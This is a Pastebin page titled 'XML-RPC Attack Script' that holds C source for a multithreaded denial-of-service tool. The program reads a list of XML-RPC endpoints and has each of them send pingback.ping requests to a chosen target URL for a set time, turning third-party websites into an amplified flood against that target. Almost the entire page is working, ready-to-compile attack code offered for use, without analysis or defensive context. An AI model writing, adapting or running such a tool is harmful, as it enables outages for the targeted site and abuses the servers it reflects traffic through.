wtfbbq

XML-RPC Attack Script

Aug 16th, 2017
1,797
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 10.48 KB | None | 0 0
  1. /*
  2. gcc xmlrpc.c -Wall -ggdb -fopenmp -o xmlrpc
  3. */
  4. #define _GNU_SOURCE
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <sys/socket.h>
  9. #include <sys/select.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <sys/stat.h>
  13. #include <signal.h>
  14. #include <string.h>
  15. #include <stdio.h>
  16. #include <netdb.h>
  17. #include <unistd.h>
  18. #include <time.h>
  19. #include <arpa/inet.h>
  20. #include <sys/ioctl.h>
  21.  
  22. #include "omp.h"
  23.  
  24. static unsigned int nthreads = 1;    
  25. static int sig_stop = 0;    
  26.  
  27. #define payloadSize 4096
  28. #define packetSize (payloadSize + 4096)
  29.  
  30. struct url_t{    
  31.     char * proto;
  32.     char * host;
  33.     char * path;
  34. };
  35.  
  36. struct line_t{    
  37.     char * url;    
  38.     char * rpc;    
  39.     struct addrinfo *rp;    
  40.     struct url_t aURL;    
  41. } *data;
  42. static unsigned int dataSize = 0;    
  43.  
  44. static void signal_handler(int sig){
  45.     switch(sig){
  46.         case SIGINT:
  47.         case SIGTERM:
  48.             printf("Received interrupt signal. Stopping program...\n");
  49.             sig_stop = 1;
  50.             break;
  51.     }
  52. };
  53.  
  54. static int die(int rc){
  55.     #pragma omp atomic
  56.     sig_stop++;
  57.  
  58.     if(sig_stop > nthreads){    
  59.  
  60.         printf("Freeing global data\n");
  61.         int i;
  62.         for(i=0; i < dataSize; i++){
  63.             free(data[i].url);
  64.             free(data[i].rpc);
  65.             free(data[i].rp->ai_addr);
  66.             freeaddrinfo(data[i].rp);
  67.             free(data[i].aURL.host);
  68.             free(data[i].aURL.proto);
  69.             free(data[i].aURL.path);
  70.         }
  71.         free(data);
  72.     }
  73.  
  74.     printf("Thread %i done\n", omp_get_thread_num());
  75.     exit(rc);
  76. }
  77.  
  78. static char * parse_url(char * url_str, struct url_t* url){
  79.     char * proto_end = strstr(url_str, "://");
  80.     url->proto = (proto_end != NULL)? strndup(url_str, (proto_end - url_str))
  81.         : NULL;
  82.     char * host_end = strchr(&proto_end[3], '/');
  83.     url->host =  (host_end != NULL) ? strndup(&proto_end[3], (host_end - &proto_end[3]))
  84.         : NULL;
  85.  
  86.     url->path = (host_end != NULL)  ? strdup(&host_end[1])
  87.         : NULL;
  88.  
  89.     return url->host;
  90. }
  91.  
  92. /*static struct addrinfo * get_ip(const char * host, const int port){
  93.     struct addrinfo hints;
  94.     struct addrinfo *result;
  95.  
  96.     memset(&hints, 0, sizeof(struct addrinfo));
  97.     hints.ai_family = AF_INET;    
  98.     hints.ai_socktype = 0;
  99.     hints.ai_flags = AI_NUMERICSERV;
  100.     hints.ai_protocol = 0;    
  101.     hints.ai_canonname = NULL;
  102.     hints.ai_addr = NULL;
  103.     hints.ai_next = NULL;
  104.  
  105.     char service[6]={0};
  106.     snprintf(service, 6, "%i", port);
  107.     int s = getaddrinfo(host, service, &hints, &result);
  108.     if (s != 0) {
  109.         fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
  110.             return NULL;
  111.     }
  112.     return result;
  113. };*/
  114.  
  115. static int connect_me(const struct line_t * line, const unsigned short port, const unsigned short timeout){
  116.  
  117.     struct addrinfo * rp = line->rp;
  118.  
  119.     int skt = -1;
  120.     if ((skt = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol)) < 0){
  121.         perror("socket");
  122.         fprintf(stderr, "Error connecting to %s on port %i\n", line->aURL.host, port);
  123.         return -1;
  124.     }
  125.  
  126.     struct timeval    tv_tout;    
  127.  
  128.     /* TODO: this does NOT work! Why ?
  129.     tv_tout.tv_sec = timeout; tv_tout.tv_usec = 0;
  130.     if(setsockopt(skt, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv_tout,sizeof(struct timeval)) == -1){
  131.         perror("setsockopt");
  132.         freeaddrinfo(rp);
  133.         return -1;
  134.     };*/
  135.     int on = 1;
  136.     if (ioctl(skt, (int)FIONBIO, (char *)&on)){
  137.         printf("ioctl FIONBIO call failed\n");
  138.     }
  139.  
  140.     connect(skt, rp->ai_addr, rp->ai_addrlen);
  141.  
  142.     fd_set  skt_set;
  143.     FD_ZERO(&skt_set);
  144.     FD_SET(skt, &skt_set);
  145.  
  146.     tv_tout.tv_sec = timeout;
  147.     tv_tout.tv_usec = 0;
  148.  
  149.     int rc = select(skt+1, NULL, &skt_set, NULL, &tv_tout);
  150.     if(rc < 0){
  151.         close(skt);
  152.         fprintf(stderr, "Error connecting to %s on port %i\n", line->aURL.host, port);
  153.         return -1;
  154.     }else if(rc == 0){
  155.         close(skt);
  156.         fprintf(stderr, "Timeout connecting to %s on port %i\n",line->aURL.host, port);
  157.         return -1;
  158.     }
  159.  
  160.     return skt;
  161. };
  162.  
  163. static int do_request(char * packet,
  164.             const struct line_t * line, const char * payload, const unsigned int payloadLen){
  165.  
  166.     int skt = connect_me(line, 80, 2);    
  167.     if(skt == -1){
  168.         return 1;
  169.     }
  170.  
  171.     static const char packetFormat[] = "POST /%s HTTP/1.0\r\n"    
  172. "Host: %s\r\n"    
  173. "Content-type: text/xml\r\n"
  174. "Content-length: %i\r\n"    
  175. "User-agent: Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)\r\n"
  176. "Connection: close\r\n\r\n"
  177. "%s";
  178.  
  179.     int packetLen = snprintf(packet, packetSize, packetFormat, line->aURL.path, line->aURL.host, payloadLen, payload);
  180.  
  181.     if(send(skt, packet, packetLen, 0) == -1){
  182.         perror("send");
  183.     }
  184.     close(skt);
  185.     return 0;
  186. };
  187.  
  188. static int get_lines(const char * filepath){
  189.  
  190.     FILE *fin = fopen(filepath, "r");
  191.     if(fin == NULL){
  192.         fprintf(stderr, "Unable to open '%s'\n", filepath);
  193.         return 1;
  194.     }
  195.  
  196.     size_t lineSize = 4096;
  197.     char * line = (char*) malloc(lineSize);
  198.     if(line == NULL){
  199.         perror("malloc");
  200.         return 1;
  201.     }
  202.  
  203.     int bytes = 0;
  204.     while((bytes = getline(&line, &lineSize, fin)) > 0){
  205.         if(line[bytes-1] == '\n');
  206.             dataSize++;
  207.     }
  208.     rewind(fin);
  209.  
  210.     data = (struct line_t*) malloc(sizeof(struct line_t)*dataSize);
  211.     if(data == NULL){
  212.         perror("malloc");
  213.         return 1;
  214.     }
  215.  
  216.     int i=0, line_i=0;
  217.     char pton_buf[512]={0};
  218.     while((bytes = getline(&line, &lineSize, fin)) > 0){
  219.         line_i++;
  220.         line[bytes-1] = '\0';
  221.         char * space = strchr(line, ' ');
  222.         if(space == NULL){
  223.             continue;
  224.         }
  225.  
  226.         data[i].url = strndup(line, (space - line));
  227.  
  228.         char * rpc = &space[1];
  229.         space = strchr(&space[1], ' ');
  230.         space[0] = '\0';
  231.  
  232.         data[i].rpc = strdup(rpc);
  233.  
  234.         char * rp_info = &space[1];
  235.         data[i].rp = (struct addrinfo*) malloc(sizeof(struct addrinfo));
  236.         if(data[i].rp == NULL){
  237.             perror("malloc");
  238.             die(1);
  239.         }
  240.  
  241.         if(5 != sscanf(rp_info, "%i %i %i %u %s", &data[i].rp->ai_family,    &data[i].rp->ai_socktype,
  242.           &data[i].rp->ai_protocol, &data[i].rp->ai_addrlen, pton_buf)){
  243.             fprintf(stderr, "Error: Failed to parse 5 columns from line %i\n", line_i);
  244.             die(1);
  245.         }
  246.  
  247.         void *ptr;
  248.         switch (data[i].rp->ai_family){
  249.         case AF_INET:
  250.             data[i].rp->ai_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr_in));
  251.             if(data[i].rp->ai_addr == NULL){
  252.                 perror("malloc"); die(1);
  253.             }
  254.             ptr = &((struct sockaddr_in *) data[i].rp->ai_addr)->sin_addr;
  255.             ((struct sockaddr_in *) data[i].rp->ai_addr)->sin_port = htons(80);
  256.           break;
  257.         case AF_INET6:
  258.             data[i].rp->ai_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr_in6));
  259.             if(data[i].rp->ai_addr == NULL){
  260.                 perror("malloc"); die(1);
  261.             }
  262.             ptr = &((struct sockaddr_in6 *) data[i].rp->ai_addr)->sin6_addr;
  263.             ((struct sockaddr_in6 *) data[i].rp->ai_addr)->sin6_port = htons(80);
  264.           break;
  265.         }
  266.         data[i].rp->ai_addr->sa_family = data[i].rp->ai_family;
  267.         data[i].rp->ai_canonname = NULL;
  268.         data[i].rp->ai_next = NULL;
  269.  
  270.         if(inet_pton(data[i].rp->ai_family, pton_buf, ptr) != 1){
  271.             perror("inet_pton");
  272.             die(1);
  273.         }
  274.  
  275.         if(parse_url(rpc, &data[i].aURL) == NULL){
  276.             fprintf(stderr, "Error: Parsing %s\n", data[i].rpc);
  277.             die(1);    
  278.         }
  279.  
  280.         i++;
  281.  
  282.     }
  283.     dataSize = i;
  284.  
  285.     printf("Parsed %u lines from '%s'\n", i, filepath);
  286.     free(line);
  287.     fclose(fin);
  288.     return 0;
  289. }
  290.  
  291. int main(const int argc, const char * argv[]){    
  292.  
  293.     if(argc != 5){
  294.         fprintf(stderr, "Usage: $0 {target} {file} {seconds} {threads}\n");
  295.         return 1;
  296.     }
  297.  
  298.     const char * target     = argv[1];
  299.     const char * webFile = argv[2];
  300.     unsigned int seconds = atoi(argv[3]);
  301.     nthreads             = atoi(argv[4]);
  302.  
  303.     struct sigaction act, act_old;
  304.     act.sa_handler = signal_handler;
  305.     act.sa_flags = 0;
  306.     sigemptyset(&act.sa_mask);
  307.     if(    (sigaction(SIGINT,  &act, &act_old) == -1)    ||        
  308.         (sigaction(SIGTERM, &act, &act_old) == -1)){
  309.         perror("signal:");
  310.         return 1;
  311.     }
  312.  
  313.     static const char payloadFormat[] = "<?xmlversion=\"1.0\"?>"
  314. "<methodCall>"
  315. "<methodName>pingback.ping</methodName>"
  316. "<params>"
  317. "<param><value><string>%s</string></value></param>"    
  318. "<param><value><string>%s</string></value></param>"    
  319. "</params>"
  320. "</methodCall>";
  321.  
  322.     if(get_lines(webFile) == 1){
  323.         return 1;
  324.     }
  325.  
  326.     time_t t3   = time(NULL);
  327.     time_t tEnd = t3 + seconds;
  328.  
  329.     if(nthreads > dataSize){
  330.         printf("Warning: Threads count > URL count. Reducing threads to %i\n", dataSize);
  331.         nthreads = dataSize;
  332.     }
  333.  
  334.     int chunk = dataSize / nthreads;
  335.  
  336. #pragma omp parallel num_threads(nthreads)
  337. {
  338.     int tid = omp_get_thread_num();
  339.     char *payload = (char*) malloc(payloadSize);
  340.     char *packet  = (char*) malloc(payloadSize + 4096);
  341.     if((payload == NULL) || (packet == NULL)){
  342.         perror("malloc");
  343.         die(1);
  344.     }
  345.  
  346.     int istart      = tid * chunk;
  347.     int iend = istart + chunk;
  348.     if(tid == (nthreads-1))    
  349.         iend += (dataSize % nthreads);    
  350.  
  351.     while(sig_stop == 0){    
  352.  
  353.         #pragma omp flush(sig_stop)
  354.         int i=0;
  355.         time_t i1 = time(NULL);
  356.         for(i=istart; i < iend; i++){
  357.             if( (time(NULL) >= tEnd) || (sig_stop > 0) ){
  358.                 printf("Thread %i out of time\n", tid);
  359.                 i = iend;
  360.                 #pragma omp atomic
  361.                 sig_stop++;
  362.                 continue;
  363.             }
  364.  
  365.             int payloadLen = snprintf(payload, payloadSize, payloadFormat, target, data[i].url);
  366.             do_request(packet, &data[i], payload, payloadLen);
  367.  
  368.             usleep(10000);
  369.  
  370.             #pragma omp critical
  371.             printf("%s\n", data[i].url);
  372.         }
  373.         time_t i2 = time(NULL);
  374.         #pragma omp critical
  375.         printf("%i| %i requests done for %lu sec\n", tid, (iend-istart), (i2-i1) );
  376.     }
  377.     free(payload);
  378.     free(packet);
  379.  
  380.     #pragma omp atomic
  381.     ++sig_stop;
  382. }
  383.  
  384.     time_t t4 = time(NULL);
  385.     printf("Runtime: %lus\n", t4-t3);
  386.  
  387.     die(0);
  388.     return 0;
  389. }
Add Comment
Please, Sign In to add comment